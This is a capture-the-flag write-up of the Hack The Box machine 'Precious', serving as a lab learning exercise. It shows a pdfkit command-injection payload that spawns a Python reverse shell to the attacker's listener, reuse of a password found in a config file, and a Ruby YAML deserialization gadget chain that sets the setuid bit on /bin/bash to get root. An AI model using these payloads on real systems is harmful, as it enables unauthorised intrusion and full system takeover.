Hack the box is an easy box that has been alive 70 days from this posting. With a point score of 20, Could be more if I get the system own (Get root and get flag)
Initial Enumeration
The first thing we need to do is enumerate this system after connecting.
nmap -sC -sV -A -O 10.129.228.98
nmap switches:
-sC: equivalent to –script=default
-sV: Probe open ports to determine service/version info
-A: Enable OS detection, version detection, script scanning, and traceroute
-O: Enable OS detection.
Interestingly after looking up switching, you can combine -sC and -sV also the -A -O to combine to make a quicker command:
nmap -sCV -AO 10.129.228.98
After a scan, we are given the above information.
Port 22: SSH port with OpenSSH 8.2p1
OpenSSH 8.2p1: OpenSSH (also known as OpenBSD Secure Shell) is a suite of secure networking utilities based on the Secure Shell (SSH) protocol, which provides a secure channel over an unsecured network in a client–server architecture. I think for sanity’s sake there is no point trying to brute force this unless port 80 yields no results. Get that low-hanging fruit it is riper.
Port 80: nginx/1.18.0
nginx/1.18.0: is a high-performance HTTP server and a multi-protocol proxy server. For serving pages! There seem to be potential vulnerabilities for this package:
https://github.com/AgainstTheWest/NginxDay
https://snyk.io/test/docker/nginx%3A1.18.0
However, Lets save this for later as I am assuming that is medium and up difficulty.
Port 80: Website Enumeration
Ah web challenges, how you make me feel. Your tools are clunky and your abstraction pool is much large.
Time to add the domain to the /etc/hosts file! This comes up a lot in HTB so remember it!
sudo echo "10.129.228.98 precious.htb" >> /etc/hosts
After this, I have learned I may as well load up burp suite to intercept traffic through a proxy. Here is the tutorial for that
https://portswigger.net/burp/documentation/desktop/external-browser-config/browser-config-firefox
On Inspection:
So we are presented with a submit form and some promise to convert web to PDF. A few things worth doing when starting out in CTFs is finding the technologies involved I tent to use Wappalyzer (https://www.wappalyzer.com/) for this.
I think its high time I started having a general look at all technologies and add this into my initial enumeration process instead of coming back later confused.
Phusion Passenger: https://www.phusionpassenger.com/
Passenger is a rock-solid, feature-rich web app server that integrates with Apache and Nginx. Serve millions of customers with confidence.
This has a hipster on the front page so you know this is someone’s passion project that is for sure. One thing I would like to know for sure one day is how Wappalyzer picks up C in the code. Speaking of, Lets press F12 (firefox) and quickly dig through the code see if we can get some clues.
Head: Stylesheet only
Body:
Overflow is always interesting to dig into.
There is no more code outside the post form so looks like we are looking at requests. See what they are doing for now.
BurpSuite
BurpSuite and Zap are good tools for looking at the requests and traffic flying between us and the server and you can also change the content of requests and send/receive them as a GET, POST etc to the server. Deeper dive below.
https://www.codecademy.com/article/http-requests
After submitting an URL to the service hitting forward after every request:
better add in the https://www.google.com and:
Same thing, Is Something wrong with this code? Let us try something else 3rd time is the charm right?
After trying a couple of other websites nothing seems to be working, It is time to enumerate more. Why is this broken, why is nothing coming back? Why are we even here in the first place? so many questions
.I spent entirely too long trying to get this part of the task done. Full disclosure here I ended up having to google way more then I needed to and found in a Reddit forum the answer. This seems counterproductive the way you connect to this, there are also two ways you can generate the pdf that you require. But if this was a live production system you would not have this problem.
To solve this you need to put your HTB VPN IP Address, Not the box IP Address. That does not work.
First you need to set up a local http server:
python3 -m http.server
The clue is “Cannot load remote URL”:
But your python http server says its running on 0.0.0.0:80 however it is not:
Just to add more confusion if you pop the ip into your browser (not the served page) you get your local http server:
Another way to get a blank PDF to generate is to write any url and add a blank space at the end so it resolves like so in the request:
Opening the PDF and looking at the properties shows what tool has been used to make the PDF:
pdfkit v0.8.6
Popping this into google shows a snyk CVE-2022-25765 before the GitHub for this tool right in the face, that’s always nice from that pain.
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
Updated version of tool:
https://github.com/pdfkit/pdfkit/releases
PoC:
An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:
PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf
If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:
irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" - => nil
Calling to_pdf
on the instance shows that the sleep
command is indeed executing:
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...
Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with “http”:
PDFKit.new("http%20`sleep 5`").to_pdf
Thanks Synk
So with this lets (IP is changing a lot now):
http://10.10.XX.XX/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`
Jab up a reverse shell:
nc -nvlp 9001
We are in at this point I was highly fed up of doing this machine so I express did the priv esc.
$ ls -al
Nanoed all the files like a choom.
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
Had password containing:
BUNDLE_HTTPS://RUBYGEMS__ORG/: “henry:Nope”
Then we log in with ssh
ssh henry@ip
Bang password in
When you are in shell do the old:
sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Check out this vlun with deserialization yaml attack.
cat /opt/update_dependencies.rb
The line we are interested in:
def list_from_file
YAML.load(File.read("dependencies.yml"))
Create a dependencies.yml file in your /home/henry folder, they let you write to it on this one! NICE!
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Then:
sudo /usr/bin/ruby /opt/update_dependencies.rb
You get:
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
(Bunch of tracebacks here)
change dependencies.yml to:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash" < - Priv esc nicenice
method_id: :resolve
sudo /usr/bin/ruby /opt/update_dependencies.rb again!
Whole bunch of tracebacks.
ls -al /bin/bash <- Hows you as rooted
/bin/bash -p <- change to root bash shell
cd /root <- change to /root/ directory
cat root.txt
FLAG IS HERE.
I disliked this box due to the lack of direction and the obscure clue at the start to use a locally hosted website. However, I have finished this writeup for completion’s sake. As you can see as the writeup went along it has become less detailed. I think this box is not really beginner friendly as it seems the CTF community seems to think that you should just “Know to start up a http server for testing”
That is not true and unfair if you ask me, the try harder and get good mentality is good in some ways, pushes people to script kiddydom in other ways, on that note:
and: